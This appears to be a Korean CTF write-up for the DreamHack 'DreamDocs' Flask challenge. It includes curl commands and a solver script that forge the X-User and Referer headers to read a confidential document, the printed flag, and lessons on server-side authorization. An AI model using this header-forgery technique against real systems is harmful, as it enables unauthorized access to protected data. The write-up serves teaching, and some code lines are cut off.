2026-06-04·1분 읽기·
문서 열람 권한을 Referer와 X-User 헤더로만 판단하는 게시판이다. 둘 다 요청자가 마음대로 보내는 값이라, X-User: admin 과 Referer: /share 를 위조하면 confidential 문서의 본문(FLAG)이 그대로 열린다.
이 글이 도움이 됐나요?
문제: DreamHack — DreamDocs 분류: Web (Flask) 난이도: 🥉 Bronze 3 FLAG:
DH{17dda847500b779845306c8d0f16959b}
문서를 열람하는 게시판이다. 문서마다 public / internal / confidential 등급이 있고, 플래그는 confidential 문서 본문 안에 주석으로 숨어 있다.
| 항목 | 내용 |
|---|---|
| 문제명 | DreamDocs |
| 난이도 | 🥉 Bronze 3 |
| 분류 | Web (Flask) |
| 제공 파일 / 서버 | app.py + 템플릿 + 라이브 서버 |
| 핵심 취약점 | Referer·X-User 헤더에만 의존하는 접근 제어 (Broken Access Control) |
문서 라이브러리(/share) 화면은 "Guest / Authenticated User" 두 등급만 고를 수 있다. admin이라는 선택지는 UI 어디에도 없다.

하지만 등급을 서버에 전달하는 통로가 평범한 HTTP 헤더라면, UI에 없는 값이라고 못 보낼 이유가 없다.
플래그 문서는 서버 시작 시 한 번 만들어진다. confidential 등급이고 본문에 플래그가 주석으로 박혀 있다.
flag_doc_id = random.randint(100, 999)
documents = {
flag_doc_id: {
'title': 'Confidential Report - Access Restricted',
'content': f'...\n\n<!-- FLAG: {FLAG} -->\n\n...',
'classification': 'confidential',
...
}
}문서를 여는 /doc/<id> 라우트가 핵심이다.
@app.route('/doc/<int:doc_id>')
def view_document(doc_id):
referer = request.headers.get('Referer', '') # ← 요청 헤더
user_level = request.headers.get('X-User', 'guest') # ← 요청 헤더
...
document = documents[doc_id]
if '/share' not in referer: # 게이트 ①: Referer
return render_template('error.html',
message="Access denied. Documents can only be accessed from the share page."), 403
if document['classification'] == 'confidential': # 게이트 ②: 등급
if user_level
권한을 가르는 재료가 둘 다 요청자가 채워 보내는 헤더다.
게이트 ① Referer — "공유 페이지를 거쳐서 들어와라"는 의도지만, Referer는 브라우저가 붙여주는 참고용 헤더일 뿐 요청자가 임의로 바꿀 수 있다.
게이트 ② X-User — confidential이면 admin을 요구한다. 그런데 이 값도 그냥 커스텀 요청 헤더다.
서버에는 이 둘이 진짜인지 확인할 근거가 없다. 세션도, 로그인도, 서명도 없다.
문서에 직접 들어가 보면 게이트 ①에 먼저 막힌다. 브라우저 주소창으로 /doc/183을 치면 Referer가 없어서 403이다.

게이트 두 개를 통과하는 데 필요한 건 헤더 두 줄을 직접 붙이는 것뿐이다.
Referer: http://<host>/share
X-User: admin
남은 건 플래그 문서의 id다. flag_doc_id는 100~999 사이 난수라 모른다. 그런데 목록 API가 그대로 흘린다.
@app.route('/api/docs')
def list_docs():
user_level = request.headers.get('X-User', 'guest')
for doc_id, doc in documents.items():
...
elif doc['classification'] == 'confidential' and user_level == 'admin':
visible_docs.append({'id': doc_id, ...})X-User: admin이면 confidential 문서도 목록에 넣어준다. 게다가 플래그 문서는 documents 딕셔너리에 가장 먼저 삽입돼서(파이썬 dict는 삽입 순서를 유지한다) admin 응답의 첫 항목으로 튀어나온다. id를 따로 brute-force할 필요도 없다.
curl -s http://<host>/api/docs -H 'X-User: admin'
# [{"classification":"confidential","id":183,"title":"Confidential Report - Access Restricted"}, ...]id(여기선 183)를 얻었으니, 같은 헤더 두 줄을 달아 문서를 연다.
curl -s http://<host>/doc/183 \
-H 'Referer: http://<host>/share' \
-H 'X-User: admin' | grep FLAG게이트 ①(Referer)과 게이트 ②(admin)를 모두 통과해 document.html이 렌더되고, 본문의 {{ doc.content }} 안에 들어 있던 <!-- FLAG: ... --> 주석이 화면에 그대로 노출된다.

목록에서 id를 자동으로 찾아 본문까지 한 번에 뽑도록 짰다.
#!/usr/bin/python3
# DreamDocs 솔버 — 접근 제어가 클라이언트 헤더(X-User, Referer)에만 의존하는 점을 이용한다.
# 1) /api/docs 에 X-User: admin 을 보내 confidential(flag) 문서의 id 를 얻는다.
# 2) /doc/<id> 에 X-User: admin + Referer: .../share 를 위조해 본문(FLAG)을 읽는다.
import sys
import re
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8099").rstrip("/")
s = requests.Session()
# 1) admin 권한으로 문서 목록 → confidential 문서 id
docs = s.get(f"{BASE}/api/docs", headers={"X-User": "admin"}, timeout=10).json()
conf = [d for
라이브 서버에 그대로 돌린 결과다.
$ python3 solve.py http://host8.dreamhack.games:10212
[*] /api/docs (admin) 응답 15건, confidential: [183]
[+] flag 문서 id = 183
[*] /doc/183 -> HTTP 200
[FLAG] DH{17dda847500b779845306c8d0f16959b}
DH{17dda847500b779845306c8d0f16959b}클라이언트가 보낸 값으로 권한을 정하면 안 된다.
Referer도 X-User도 요청자가 원하는 대로 채워 넣는 문자열이다. 서버가 "이 사람이 admin인지", "공유 페이지를 거쳐 왔는지" 판단하는 근거로 삼을 수 없다. 권한은 서버가 발급하고 검증하는 세션·토큰으로 확인해야 한다.
Referer 검사는 보안 장치가 아니다.
Referer는 디버깅·통계용 참고 헤더이고 아예 안 보내거나 위조하는 게 정상 범주다. "이 페이지를 거쳐서 와라" 같은 흐름 강제를 Referer로 구현하는 건 빗장 없는 문에 "들어오지 마세요" 팻말을 붙이는 격이다.
숨긴 식별자는 비밀이 아니다.
플래그 문서 id를 난수로 만들었지만, 같은 권한 우회가 통하는 목록 API가 그대로 알려줬다. 게다가 dict 삽입 순서 때문에 맨 앞에 노출됐다. 난수 id로 가린다고 접근 제어를 대신할 수는 없다 — 막아야 할 건 식별자가 아니라 접근 그 자체다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…